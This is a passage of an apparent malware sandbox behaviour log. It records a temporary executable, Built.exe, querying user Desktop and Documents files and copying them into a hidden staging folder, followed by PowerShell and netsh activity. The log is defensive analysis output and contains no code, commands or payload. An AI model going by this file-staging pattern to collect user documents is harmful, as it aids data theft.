Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\EWZCVGNOWT.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GLTYDMDUST.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\GRXZDKKVDB.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GRXZDKKVDB.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GRXZDKKVDB.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\GRXZDKKVDB.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\GRXZDKKVDB.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\HMPPSXQPQV.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\HMPPSXQPQV.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\HMPPSXQPQV.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\HMPPSXQPQV.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\HMPPSXQPQV.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\KLIZUSIQEN.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NVWZAPQSQL.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\NWCXBPIUYI.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NYMMPCEIMA.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NYMMPCEIMA.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\NYMMPCEIMA.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\NYMMPCEIMA.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\PALRGUCVEH.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\PALRGUCVEH.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\PALRGUCVEH.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\QCOILOQIKC.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\QCOILOQIKC.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\ZGGKNSUKOP.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\ZGGKNSUKOP.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Documents\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Documents\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
